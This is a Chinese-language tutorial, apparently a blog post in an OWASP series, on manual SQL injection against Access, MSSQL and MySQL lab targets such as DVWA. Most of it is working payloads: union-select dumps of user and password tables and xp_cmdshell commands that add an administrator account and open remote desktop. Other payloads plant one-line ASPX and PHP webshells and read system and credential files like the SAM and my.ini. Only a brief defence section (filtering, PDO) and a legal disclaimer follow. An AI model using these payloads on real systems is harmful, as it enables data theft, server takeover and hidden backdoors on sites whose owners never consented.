OWASP top10--SQL注入(三、手工注入)

目录

access数据库

手工注入过程:

猜解数据库表名

猜解数据库表名里面的字段

猜解字段内容

SQL注入中的高级查询

mssql数据库

手工注入过程:

sa权限

 ​编辑dbowner权限

public权限

mysql数据库

1、对服务器文件进行读写操作(前提条件)

需要知道远程Web目录

 secure_file_priv为空:

服务器读取文件

写webshell获取权限

 2、mysq数据库手工注入过程:

检查注入点

查字段

查看当前数据库用户名及版本

获取dvwa表名

获取所有user表里面的字段

获取所有字段内容;0x7c表示|符号 

 注入防御

1、涵数过滤

2、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面

3、PDO预处理


access数据库

手工注入过程:
猜解数据库表名
​​​​​​​and exists(select * from users)


--如http://10.0.0.101/custom.asp?id=1 and exists(select * from users) 
--此查询尝试验证id参数是否可被用来注入SQL代码,并进一步判断数据库中是否有名为users的表。如果网页返回正常或特定的错误信息,可能表明SQL注入漏洞存在。
--如果网站直接显示一个错误页面,特别是提及SQL语法错误或表名users的信息,强烈暗示存在SQL注入漏洞。
--利用bp抓包进行数据库表名爆破(流程如下图)

加载网站用bp抓包

http://10.0.0.101/custom.asp?id=1 and exists(select * from users)

 添加字典跑数据库表名

返回200状态,正常显示证明数据库有此表  

猜解数据库表名里面的字段
and exists(select password from administrator)

 结果:

猜解字段内容
and (select top 1 len(user_name) from administrator)>1
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
SQL注入中的高级查询
order by       
--order by 8    order by 7
union select   
--http://10.0.0.101/news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator
 order by 8

order by 7  

union select 1,2,3,4,5,6,7 from administrator

显示2 ,3,5,7;说明2,3,5,7可执行可读写

说明:
替换的内容
2:user_name   --输出admin
3:password     --输出21232f297a57a5a743894a0e4a801fc3
5:id                 --输出1
7:now             --输出2024-5-3 18:22:54

union select 1,user_name,password,4,id,6,now from administrator  

  • 偏移注入

  • 跨库查询


mssql数据库

手工注入过程:
sa权限

http://10.0.0.101:84/sqlserver/1.aspx?xxser=1

 --1.aspx则是一个具体的ASP.NET页面文件
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1'

--测试是否有注入点
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and exists (select * from%20sysobjects) 
--注入尝试:?xxser=1 and exists (select * from%20sysobjects) 部分是在原有查询参数xxser的值后面添加了SQL代码,试图探测数据库中是否存在特定的对象。这里使用了exists子句和sysobjects表。sysobjects是SQL Server中的一个系统表,包含了数据库中所有对象(如表、视图、存储过程等)的信息。通过检查sysobjects表中的记录是否存在,攻击者可以间接判断SQL注入是否成功以及数据库中是否有特定的表或对象。
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and system_user=0 
--查询当前数据库系统的用户名
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin')) 
--检查注入点是否为sa权限
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')  
--判断一下xp_cmdshell存储过程是否存在
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
--恢复(启用)SQL Server中的xp_cmdshell扩展存储过程的正确方法
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net user test test /add'
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net localgroup administrators test /add'
--添加账户
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
--开启3389端口
远程连接10.0.0.101主机输入账户test密码test登陆;建立远程连接。

检查是否是mssql数据库:未报错,是mssql数据库

and exists (select * from sysobjects)

第二步:查询当前数据库系统的用户名

and system_user=0

 

第三步:检查注入点是否为sa权限:存在

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

第四步:判断一下xp_cmdshell存储过程是否存在

and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')

恢复xp_cmdshell可以用

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

第五步:添加帐号

;exec master..xp_cmdshell 'net user test test /add'

这个命令使用net user命令在Windows操作系统中创建一个新的用户账户,名为test,密码也为test/add参数指示要添加新用户。

;exec master..xp_cmdshell 'net localgroup administrators test /add'

这个命令使用net localgroup命令将刚刚创建的test用户添加到administrators本地管理员组中,这意味着test用户现在拥有管理员权限,可以对系统执行几乎所有的操作

 

第六步:开3389端口(远程连接端口)

;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

 

输入网站的主机ip地址;输入【账户test 密码test】建立远程连接  

 

 dbowner权限

 

第一步:查看当前网站是否为db_owner权限
and 1=(SELECT IS_MEMBER('db_owner'));--        
--判断当前数据库用户是否为db_owner权限
第二步:找出网站路径
    1、通过报错或baidu、google等查找
--如单引号(')、-1、and 1=2  ;google搜索site:oldboyedu.com intext error
    2、通过相关语句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--

insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--

and (select result from black where id=1)>0--
第三步:写入一句话木马获取webshell
%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--
方法二:差异备份
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

第一步:查看当前网站是否为db_owner权限

and 1=(SELECT IS_MEMBER('db_owner'));--

第二步:找出网站路径

1、方法一:通过报错单引号(')或google查找

2、方法二:通过相关语句

drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--

insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--  

and (select result from black where id=1)>0--

阅览器版本高执行失败:

尝试id=1

尝试出id=4显示出路径(and (select result from black where id=4)>0--)

第三步:写入一句话木马获取webshell

方法一:

%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'-- 

利用中国菜刀(音速软件-webshell-中国菜刀-中国菜刀.exe)远程连接web主机

方法二差异备份:

音速软件-注入检测-GetWebShell增强版.exe

一句话木马已生成完成

用中国菜刀可以远程连接

 

public权限

 第一步:获取当前网站数据库名称
    and db_name()=0--
第二步:获取mssql所有数据库名和路径
%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
第三步:获取当前数据库所有表名
    and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
第四步:爆表名及字段名
    having 1=1--
    group by admin.id having 1=1--
    group by admin.id,admin.name having 1=1--
第五步:获取字段内容
    /**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

 having 1=1 获取第一个字段

 

 group by admin.id having 1=1-- 获取第二个字段(带入获取的第一个字段)

 group by admin.id,admin.name having 1=1-- 获取第三个字段

获取数据


 

mysql数据库

1、对服务器文件进行读写操作(前提条件)


需要知道远程Web目录
需要mysql root权限
需要远程目录有写权限
需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql.ini配置文件)


需要知道远程Web目录

报错法:' and 1=1  and 1=2
google命令搜索
网站用阅览器查看源代码,查看是否有路径
读中间件的配置文件

%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit  路径记得转化为十六进制
常见WINDOWS下配置文件:
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
单引号报错法
右击查看源代码可能存在网站物理路径泄露
百度或google输入:site:xxx.com intext:error

 secure_file_priv为空:

服务器读取文件
' union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit
写webshell获取权限
' union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit

 菜刀连接:

 连接成功。


 2、mysql数据库手工注入过程:

' 与and 1=1 and 1=2
--检查注入点
' order by 1,2--+&Submit=Submit#
--检查字段
' union select user(),version()--+&Submit=Submit#     
--查看数据库用户名和版本、库名(dvwa)
'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit   
--获取mysql所有库
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit   
--获取dwva表名
guestbook,users 
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit    
table_name=0x7573657273不转成十六进制也可以table_name="users"
--获取所有user表里面的字段
'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit    
--获取所有字段内容;0x7c表示|符号

检查注入点

pikachu先切换成low级

’或and 1=1 and 1=2

查字段
' order by 1,2

查看当前数据库用户名及版本

也可以使用database()查看当前库

' union select user(),version()--+

'union select 1,group_concat(schema_name) from information_schema.schemata+--+

获取dvwa表名
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+

获取所有user表里面的字段
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+

获取所有字段内容;0x7c表示|符号 
'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit    

 输出结果:

1|admin|admin|admin|5f4dcc3b5aa765d61d8327deb882cf99|/hackable/users/admin.jpg|,2|Gordon|Brown|gordonb|e99a18c428cb38d5f260853678922e03|/hackable/users/gordonb.jpg|,3|Hack|Me|1337|8d3533d75ae2c3966d7e0d4fcc69216b|/hackable/users/1337.jpg|,4|Pablo|Picasso|pablo|0d107d09f5bbe40cade3de5c71e9e9b7|/hackable/users/pablo.jpg|,5|Bob|Smith|smithy|5

 注入防御

1、涵数过滤
2、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面
3、PDO预处理

从PHP 5.1开始,php可以通过PDO的prepare预处理函数执行sql语句,详细代码参考:http://www.php.cn/course/868.html


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/653096.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

安全阀检测要求标准:如何提高检测效率与准确性?

安全阀&#xff0c;作为承压设备的重要保护元件&#xff0c;其性能的稳定性和可靠性直接关系到设备的运行安全。 因此&#xff0c;对安全阀进行定期、规范的检测显得尤为重要。接下来&#xff0c;佰德将围绕安全阀的检测要求标准&#xff0c;从检测前准备工作到检测报告与记录…

第十二周 5.21面向对象的三大特性(封装、继承、多态)(二)

三、多态 1.理解: (1)多态:父类型的引用存储不同子类型的对象 父类类名 引用名 new 子类类名(); 引用 对象 父类型 子类型 …

创新融合,5G+工业操作系统引领未来工厂

为加速企业完成生产制造自动化和经营管理自动化&#xff0c;从而走向未来工厂&#xff0c;蓝卓不断探索supOS工业操作系统与前沿技术的的创新融合&#xff0c;而5G技术为工业操作系统提供了更多元化的赋能手段和想象空间。目前&#xff0c;supOS围绕生产、安全、质检、监控等领…

Python代码:十八、生成数字列表

1、描述 牛牛在牛客网系统录入了一连串数字&#xff0c;数字之间依靠逗号隔开&#xff0c;你能帮助他将这些数字存储在列表中吗&#xff0c;列表元素以int的形式。 输入描述&#xff1a; 输入一行整数&#xff0c;数字之间以空格间隔。 输出描述&#xff1a; 输出这些数字…

LuatOS学习

开发顺序 Lua是脚本语言中运行速度最快的语言 资源占用极低 脚本语言运行方式 脚本语言是从上往下一行一行运行的 变量 coun 123456 a,b,c 1,2,3交换 a,b b,a在测试环境中&#xff0c;用print(a,b)打印 nil类型 未声明的变量就是nil&#xff0c;nil用来表示此变量为空…

adb 启动app并查看启动时间

启动app adb shell am start -n 包名/界面名 获取app的启动时长 adb shell am start -W 包名/界面名 要启动一个app 就需要知道其包名与界面名,提前打开一个程序&#xff0c;然后执行以下程序 C:\Users\i5ba0>adb shell dumpsys window windows | findstr mFocusedAppm…

2024年6月PMP考试考前冲刺攻略

调整心态 考场就像战场一样&#xff0c;不仅是实力的较量&#xff0c;更是心理素质的较量。如果感到过于焦虑&#xff0c;可以通过运动等方式来缓解&#xff0c;也可以多与家人、朋友和老师沟通。只有稳定心态才能发挥出最大的实力&#xff01; 高效学习方法 课本是基础&…

vue+echart :点击趋势图中的某一点或是柱状图,出现弹窗,并传输数据

样式 在趋势图中点击某一个柱状图&#xff0c;出现下面的弹窗 代码实现 主要是在趋势图页面代码中&#xff0c;在初始化趋势图的设置中&#xff0c;添加对趋势图监听的点击方法 drawChart() {const chartData this.chartData;let option {};if (!chartData.xData?.len…

详析河南道路与桥梁乙级资质新办条件

河南道路与桥梁乙级资质新办条件详析如下&#xff1a; 一、企业基本条件 独立企业法人资格&#xff1a; 申请人必须是具有独立企业法人资格的单位。注册资金&#xff1a; 企业的注册资金应不少于100万元人民币。社会信誉&#xff1a; 申请人应具有良好的社会信誉&#xff0c;无…

STM32-11-电容触摸按键

STM32-01-认识单片机 STM32-02-基础知识 STM32-03-HAL库 STM32-04-时钟树 STM32-05-SYSTEM文件夹 STM32-06-GPIO STM32-07-外部中断 STM32-08-串口 STM32-09-IWDG和WWDG STM32-10-定时器 STM32电容触摸按键 电容触摸按键原理&#xff1a; 无手指触摸&#xff1a;上电时&…

IC开发——VCS基本用法

1. 简介 VCS是编译型verilog仿真器&#xff0c;处理verilog的源码过程如下&#xff1a; VCS先将verilog/systemverilog文件转化为C文件&#xff0c;在linux下编译链接生成可执行文件&#xff0c;在linux下运行simv即可得到仿真结果。 VCS使用步骤&#xff0c;先编译verilog源…

claude3国内API接口对接

众所周知&#xff0c;由于地理位置原因&#xff0c;Claude3不对国内开放&#xff0c;而国内的镜像网站使用又贵的离谱&#xff01; 因此&#xff0c;团队萌生了一个想法&#xff1a;为什么不创建一个一站式的平台&#xff0c;让用户能够通过单一的接口与多个模型交流呢&#x…

sed命令详解

简介 sed&#xff08;Stream EDitor&#xff09;&#xff0c;是一种流文件编辑器&#xff0c;其特点为&#xff1a; 1、非交互式。处理文件时&#xff0c;把当前处理的行存储在临时缓冲区&#xff08;称为“模式空间”&#xff08;Pattern Space&#xff09;&#xff09;中&am…

【JavaEE精炼宝库】多线程(3)线程安全 | synchronized

目录 一、线程安全 1.1 经典线程不安全案例&#xff1a; 1.2 线程安全的概念&#xff1a; 1.3 线程不安全的原因&#xff1a; 1.3.1 案例刨析: 1.3.2 线程不安全的名词解释&#xff1a; 1.3.3 Java 内存模型 (JMM)&#xff1a; 1.3.4 解决线程不安全问题&#xff1a; 二…

成都爱尔眼科巫雷院长教你在家“自查”白内障

检查以下自己&#xff08;或者父母、亲属&#xff09;是否有发生以下情况&#xff1a; 视物模糊视物模糊是白内障的主要症状。2、眼前暗影白内障早期&#xff0c;有的患者眼前会出现阴影&#xff0c;这是因为晶状体发生浑浊。晶状体混浊在眼前固定位置&#xff0c;患者会“看到…

重生之 SpringBoot3 入门保姆级学习(02、打包部署)

重生之 SpringBoot3 入门保姆级学习&#xff08;02、打包部署&#xff09; 1.6 打包插件1.7 测试 jar 包1.8 application.properties 的相关配置 1.6 打包插件 官网链接 https://docs.spring.io/spring-boot/docs/current/reference/html/getting-started.html#getting-starte…

Android15 Beta更新速览

Android15 Beta更新速览 前台服务变更 前台服务使应用保持活动状态&#xff0c;以便它们可以执行关键且对用户可见的操作&#xff0c;通常以牺牲电池寿命为代价。在 Android 15 Beta 2 中&#xff0c;dataSync 和 mediaProcessing 前台服务类型现在具有约 6 小时的超时时间&a…

【Flowable 7】学习笔记 01 - 初始化数据库表创建流程(源码)

文章目录 前言版本说明配置1、引擎配置初始化2、SQL 执行创建表2.0、创建表概览&#xff08;创建表数目&#xff1a;38&#xff09;2.1、基础组件表创建&#xff08;以 common 组件为例&#xff09;2.2、changelog 组件表创建&#xff08;基于 liquibase&#xff09;2.3、Engin…

swiftui基础组件Image加载图片,以及记载gif动图示例

想要在swiftui中展示图片&#xff0c;可以使用Image这个组件&#xff0c;这个组件可以加载本地图片和网络图片&#xff0c;也可以调整图片大小等设置。先大概看一下Image的方法有哪些可以用。 常用的Image属性 1.调整图像尺寸&#xff1a; 使用 resizable() 方法使图像可调整…

ComfyUI工作流网站

https://openart.ai/home https://comfyworkflows.com/ https://civitai.com/